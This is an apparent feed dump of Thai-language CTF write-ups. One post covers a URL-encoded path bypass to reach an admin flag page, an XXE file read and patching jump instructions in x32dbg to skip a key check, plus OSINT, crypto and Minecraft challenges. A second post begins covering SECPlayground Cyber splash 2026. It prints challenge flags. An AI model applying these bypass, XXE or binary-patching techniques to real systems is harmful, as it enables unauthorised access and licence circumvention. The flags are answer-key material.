&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*qXCbgLclEFw_38aagkpRyg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hc5RplZ_LWuY9bmaqpUAjw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;คิดไม่ออกว่าต้องไปไหนเดาไว้แล้วว่า /flag, /../flag, /var/www/html/flag สุดท้ายก็ไม่ได ้เลยกด Hint&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*heCeAEP5vziOlmXwF3pZiw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:362/format:webp/1*VxB2BdmKdN9U5jniGjIXhA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://10.88.128.39/admin/flag&quot;&gt;http://10.88.128.39/admin/flag&lt;/a&gt;
&lt;a href=&quot;http://10.88.128.39/%61%64%6d%69%6e/%66%6c%61%67&quot;&gt;http://10.88.128.39/%61%64%6d%69%6e/%66%6c%61%67&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;admin = %61%64%6d%69%6e
flag = %66%6C%61%67&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*5_GPtod0cfrItRb59O8lgA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ร้อนเว้ยยย&lt;/p&gt;
&lt;p&gt;WANLAI{833402d501b72c7b4bcdf82024287c83}&lt;/p&gt;
&lt;p&gt;มีอีกข้อที่ทำได้ แต่ทำได้หลังจบงาน 😔&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Som Tam Recipe&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*TRzdnfqaY40zEoVLHxEisQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราจะได้ template.somtam มา แล้วเราต้อง upload เข้าเว็บจากนั้นก็ส่ง&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;recipe&amp;gt;
  &amp;lt;chef&amp;gt;baka&amp;lt;/chef&amp;gt;
  &amp;lt;dish&amp;gt;somtam&amp;lt;/dish&amp;gt;
  &amp;lt;spicy_level&amp;gt;3&amp;lt;/spicy_level&amp;gt;
  &amp;lt;ingredients&amp;gt;papaya peanut tomato chili&amp;lt;/ingredients&amp;gt;
  &amp;lt;secret&amp;gt;baka&amp;lt;/secret&amp;gt;
&amp;lt;/recipe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;สิ่งที่จับได้ 1. ไม่ประมวล html 2. fetch xxe ได้ หวานเจี๊ยบ&lt;/p&gt;
&lt;p&gt;ตอนแรกพอรู้แล้วว่า flag อยู่ directory ไหน (/app/flag.txt สังเกตจาก response) แต่ฉันคราฟ payload ผิดดดดด จนกระทั่งแก้ได้ แต่ก็สายไปปปแล้วววว 5555555&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*eSdkrBWEEVfKJRux635YSQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;REVERSE ENGINEERING | Category&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Dark Night&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*1CeXqp0wag6du-GRjy-HXw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:164/format:webp/1*jc-97AIRe7iIXKxC8fbE1A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เอาตามตรงขก.เขียน writeup ข้อนี้ เพราะกลัวไม่เข้าใจ เอาเป้นว่าจะให้ลิ้งค์ yt เฉลยของผมไว้ละกัน&lt;/p&gt;
&lt;p&gt;https://youtu.be/yCVg-r0zrHc?si=JjuWzCQAXjCmVELo&lt;/p&gt;
&lt;p&gt;วิธีการของเรา เราจะเลือกการ patch ดีกว่าไล่ดูการทำงานของโปรแกรม เพราะมันไวกว่า ง่ายกว่า&lt;/p&gt;
&lt;p&gt;อันดับแรกเริ่มจากเช็ค bit&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*YK3LG0fUFwd9_4biYWKKwg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;PE32 ก็คือ 32bit เพราะฉะนั้นเราจะใช้ x32dbg ในการ patch โปรแกรมของเรา&lt;/p&gt;
&lt;p&gt;เราจะได้ flag ต่อเมื่อเรากรอกคีย์ถูก format ต้องตรง&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*axAp4zgKuVenFX0RmzTc5g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เริ่มจากลากไฟล์เข้า x32dbg&lt;/p&gt;
&lt;p&gt;เราจะไล่การทำงานตั้งแต่ตอนที่เราเริ่มกรอกคีย์ เพราะฉะนั้นต้องหา address ของมันก่อน โดย rightclick -&amp;gt; Search for -&amp;gt; All Modules -&amp;gt; String references&lt;/p&gt;
&lt;p&gt;หาคำว่า “Enter Authorization Code (XXXX-XXXX-XXXX-XXXX):”&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AA6E4-_8arIGjdoWagqRCg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;double click it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*cxcbAZcrOUsNQlSWplDpbw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;การทำงานมันจะไล่จากบนลงล่าง&lt;/p&gt;
&lt;p&gt;ถ้าสังเกตด้านซ้ายมือที่เป็นเส้นๆ (ดูเส้นแดงๆก็ได้) คือจุด jump ที่ address 0x00403D23 จะ jump ไปที่ 0x00403C49 ซึ่งไม่ได้ไป jump ตรง alert ด้านบน งั้นก็มปร.ข้ามเลย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*umHgiXJm92OfUFdQFiqnSg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ไล่ลงมาอีกซักหน่อยจะเจอจุดที่ตรวจว่า input ของเราตรง format มั้ย ตรง 0x00403D4B, 0x00403D73, 0x00403D7C&lt;/p&gt;
&lt;p&gt;ซึ่งเราไม่ได้ติดอะไร ก็ข้ามไป&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*COZ8tGuG-K627IN5KNPSgA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ถึง function ที่จะแสดง flag ของเราแล้ว ตั้งแต่ address 0x00403E95 ลงมา&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*h0JzNyOnqbKMPg1t5WubbA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แต่เหมือนจะมีจุด jmp ที่จะทำให้เราไม่เข้าถึง function นี้ได้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*n58uFXAY7qhZZ7iIlxCEqw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จุดแรกมันจะ jump มาที่ 0x00403F63 ซึ่งมันจะ print” [!] ACCESS DENIED — Invalid authorization code” ตามด้วย “ [!] Incident reported to Central Command”&lt;/p&gt;
&lt;p&gt;มันคือจุดที่จะเช็คคีย์ของเรา ซึ่งเราไม่ต้องการ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*XUEtCw9FIOdbnHgdzKXOSw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราต้องแก้ assembly จุดนั้น click &amp;amp; spacebar&lt;/p&gt;
&lt;p&gt;change ‘jnz’ to ‘jz’&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;jnz — jump if not zero&lt;/p&gt;
&lt;p&gt;jz — jump if zero&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;เราจะทำให้มันตรงข้ามกัน จากผิดให้เป็นถูก&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1158/format:webp/1*HtKitUNteJnm6BR_g8udkw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:778/format:webp/1*iLb_xJVWCRLkAJ6caZIiPw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จุดที่ 2 0x00403E93 มันจะ jmp เราไปด้านบน ถ้าเงื่อนไขไม่เป็นจริงเราอาจติด loop อยู่ตรงนี้และไม่ได้ flag&lt;/p&gt;
&lt;p&gt;ฉะนั้นก็แก้มันซะเลย จาก jnz -&amp;gt; jz เหมือนเดิม&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3luMfshuS5UWjp4VXP-SYQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;มา patch กันเลย กดปุ่มพลาสเตอร์หรือ ctrl+p ก็ได้&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:490/format:webp/1*hdSqMKqN0otVvCwVtI7-HA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:784/format:webp/1*719xZ-nc4mUzvLttPPrHPA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราได้แก้ทั้งหมด 2 จุด กด “Patch File” ที่มุมขวาล่างได้เลย&lt;/p&gt;
&lt;p&gt;ผมจะเซฟชื่อว่า ba แล้วลองรันดู (กรอกให้ตรง format ด้วยหล่ะ)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kVbZO17aX93TVIU8esDRqw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ต่อไปหมวด OSINT&lt;/p&gt;
&lt;h2&gt;OSINT | category&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;TheSecretOfTaoBin&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*I4i1aXxwMyZBMToyXCvV-g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mT8RnO5LcuV25bWxEo3xdw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เข้าไปดูที่ highlight 2B-Kmuttt ซักอัน&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1014/format:webp/1*eu83TF2klpGvpucFjyBy0Q.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เครื่องปริ้นยุแถวลาดกระบัง ก็เสิชเลยดิค้าบ&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*anbsdCFRsPb6BCD8x4YeDA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;unknow washing machine&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*lmjWO__QaskT8WtgZZv3dQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ละมือไว&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:460/format:webp/1*6G6g2YcrV1KtwPa_hfpwXw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:626/format:webp/1*SZiy-ETyshqP9pyQIUIUqg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:918/format:webp/1*AmH1GQtKaCiuwD9A5v1HTQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;glasses&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*6TXo72Nl8cwnh-lfaUF4QA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;สังเกตจากชื่อ highlight ที่ชื่อ 2B-Kmutt ลอง search ใน ig ดูหน่อย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:844/format:webp/1*KHH0QyzAVofYMA7iQcpT0w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*3MPIKY4hWBbea0j3MFgu4w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เราจะเห็นคนที่โปรไฟล์หน้าเหมือนคนใส่แว่น นั่นแหละไปก๊อปชื่อเลยย&lt;/p&gt;
&lt;p&gt;4.Apocalypse&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*46D_Hial90nqVrMqa2t2PA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:926/format:webp/1*ED59ljZN0ZIpeTQoh2T8BA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1076/format:webp/1*UZD91AV8MRVq7q6bYA_PKg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*TTaJnA2OSm7lXNeWr3-yWw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hidden Website&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*7WROSDzj98PPZ6iVuynJoQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จัดไป google dorking&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*gFkM3YrYABD88qklwl8WzA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*AUbKOZsbllVkbVulxb4bLg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*D7ml9YZTMOPWD4nhSK5BYQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;GeoOsint&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*KIb7sHzK8PVYvrBysXtG0w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;คล้ายกับเกม geoguessr&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Origin Plug &amp;amp; Play Ramkhamhaeng Triple Station ออริจิ้น ปลั๊ก &amp;amp; เพลย์ รามคำแหง ทริปเปิ้ล สเตชั่น&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Star Vegas Resort &amp;amp; Club located in Poipet, Cambodia.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;โรงแรมสยามเซ็นเตอร์ (Siam Center Hotel) ตั้งอยู่ใจกลางอำเภอหาดใหญ่ จังหวัดสงขลา&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:910/format:webp/1*ZqOu051XfKEgmF-X6-2T1A.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1092/format:webp/1*G86iJv1_9Pn22ZaGi9E05g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:914/format:webp/1*laX1iu7DRenl7wDfTgzBQQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1088/format:webp/1*DqmB2QLyagxmJHMhE249RA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:878/format:webp/1*KMFsrZ7MFYOlJfTq4lZemw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1124/format:webp/1*BdWvkK90d-kM_i5QFjODog.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;WANLAI{59e49b502d794df4ab7babb324a1ee0b}&lt;/p&gt;
&lt;p&gt;ต่อไปหมวด Crypto&lt;/p&gt;
&lt;h2&gt;CRYPTO | Category&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Secret Melody&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*tYYtNwfif9kdblL_yVUF8w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:852/format:webp/1*Dgu-o1c_IPFSU51hkJLPAg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:902/format:webp/1*LMFm3twmlGVHRbwfl6qSbA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ถอดในเว็บนี้ &lt;a href=&quot;https://www.dcode.fr/music-sheet-cipher&quot;&gt;https://www.dcode.fr/music-sheet-cipher&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;จะได้ข้อความว่า AMONGUS&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*UeVevOKjEt6yBQiENJFmEw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ต่อไปหมวด MISC กัน&lt;/p&gt;
&lt;h2&gt;MISC | category&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;WANLAI Craft I&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*dP7kABBGTDUO81sOhh3zjw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ถ้าเรื่องหาเพรชให้เรียกพี่&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mkgthJWJsL9-oQspyg73Zg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WANLAI Craft II&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*hUU9pnujg5-Vg6Aqhp4--g.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เริ่มลำบากเลยหันมาใช้ X-Ray แทน&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*VR_Bz0lqvSAEKQ5jAFqQxA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WANLAI Craft III&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ZD-w0Qz3FzwU_5xOTbfyTw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ขอนี้ยากหน่อยเพราะต้องหาสถานที่ให้เจอ เสียเวลาเยอะมากจนได้ไปเจอ mod free cam&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*RaYS_HVdHyx-H-3UnxLxcQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ข้อนี้ก็เสร็จไป ไม่ได้แคป flag นะ 55555&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*_65dCQF8CDQn8K9b5jcVZQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;WANLAI Craft IV&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;เป็นด่านที่ต้องปากัวไป คล้ายกับ roblox แมพ tower of hell ด้วยความ skill issue เลยใช้ &lt;a href=&quot;https://meteorclient.com/&quot;&gt;https://meteorclient.com/&lt;/a&gt; โดยได้คำแนะนำจาก Mr.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/u/9538e8dac62c?source=post_page---user_mention--2dded2ff067c---------------------------------------&quot;&gt;KaoKys&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;คราวนี้ก็บินไปเอา flag เลยย&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*b-nJ0fST3uuUu_AAVfUTjA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Sanity Check&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*OMz80zq_NiRn4f3PAVmIxg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1232/format:webp/1*CqLsufxc1jeb26DTmb_oiw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1146/format:webp/1*4GCWYD05Zj4C7Kt_ppreyw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Master Excel&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*Pgsyci8TBHKPplTKHINjmQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;binwalk ละเจอไฟล์ จากนั้นก็ extract (เติม — extract)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*sC1ltOggv8YgCOx1rA4iPg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2NONbMes3hs3z08gn3nftQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จากนั้นก็สอดส่องหา flag จะเจอที่&lt;/p&gt;
&lt;p&gt;master excel\extractions\wanlai_excel.xlsm.extracted\0\xl\sharedStrings&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ofDqGYHs6mj8p8gtdngh1Q.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mbo5RIArjmJrFpceBaHGGw.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*2mM72wenWrfdhcuDSV-9Lg.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;จบแล้ววว เย้&lt;/p&gt;
&lt;h2&gt;Thank you for reading C Ya!!&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:640/format:webp/0*qOFug6tV_JQmdteT.jpg&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>SECPlayground Cyber splash 2026</title><link>https://fuwari.vercel.app/posts/7cybersplash2026/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/7cybersplash2026/</guid><description>printf(“hello!!”) สวัสดีครับผม Sho นี่เป็น event แรกที่ผมได้เล่น ctf ของ secplayground ซึ่งครั้งนี้เป็นธีมสงกรานต์ 🔫💦💦</description><pubDate>Mon, 27 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;SECPlayground Cyber splash 2026&lt;/h1&gt;
&lt;p&gt;printf(“hello!!”) สวัสดีครับผม Sho นี่เป็น event แรกที่ผมได้เล่น ctf ของ secplayground ซึ่งครั้งนี้เป็นธีมสงกรานต์ 🔫💦💦&lt;/p&gt;
&lt;p&gt;โดยโจทย์ที่ผมจะนำมาแสดงวิธีทำ มีทั้งหมด 4 โจทย์ด้วยกัน อาจน้อยหน่อยนะครับ ปล.ทีมผมตื่นแต่เช้า ทำโจทย์ไปเกือบหมดเลย555555 (ทีมงานคุณภาพ)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spectrogram Secret 🟡 &lt;em&gt;Miscellaneous&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Songkran register 🟢 &lt;em&gt;Application Security&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;vlogstar 🟡 &lt;em&gt;Application Security&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Fortress Leak 🟡 &lt;em&gt;Pwnable&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;(spoil: ข้อที่ 4 ผมตั้งใจเขียนมากกกก!! อ่านให้ถึงล่ะ555555)&lt;/h3&gt;
&lt;p&gt;เริ่มกันกับข้อง่ายๆ&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;1. Spectrogram Secret&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*oA64-sIMJNbww7wsptKojA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:634/format:webp/1*U97mypbyQc2Ah2IPgcyACA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;แตกไฟล์ เราจะได้ transmission.wav จากนั้นเอาเข้า Audacity&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*ZZPEHU8olHbJWM4KhkprMA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ดูจากชื่อโจทย์ชื่อว่า “Spectrogram” เลยสันนิษฐานว่าต้องเปิดโหมด spectrogram รึเปล่า เลยลองดู&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*9V68_r2BzW73ZjpExMLZbQ.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เหมือนจะเจออะไรบางอย่างคล้ายๆ flag ลางๆ ลองปรับอะไรซักหน่อย&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*mNtB480WpiFHvgdvaL2IsA.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:844/format:webp/0*_9veoWbtV9ydt0EI&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:756/format:webp/0*BOpPeM5ufmdxzH-W&quot; alt=&quot;captionless image&quot; /&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:784/format:webp/0*i29RlU0Vp72jXfBG&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ตอนแรกก็มองไม่ชัดมาก แต่ก็ปรับหลายๆแบบ + เดาอักษรจนได้ Flag ในที่สุด&lt;/p&gt;
&lt;p&gt;🎉🎉 misc{7N3_h1dd73_m3ssAg3_s3ssl0n}&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;2. Songkran register&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://miro.medium.com/v2/resize:fit:1400/format:webp/1*MMeB61XFEWWq73Wlv5gv_w.png&quot; alt=&quot;captionless image&quot; /&gt;&lt;/p&gt;
&lt;p&gt;เปิดเว็บมาก็ register กันก่อนเลย&lt;/p&gt;
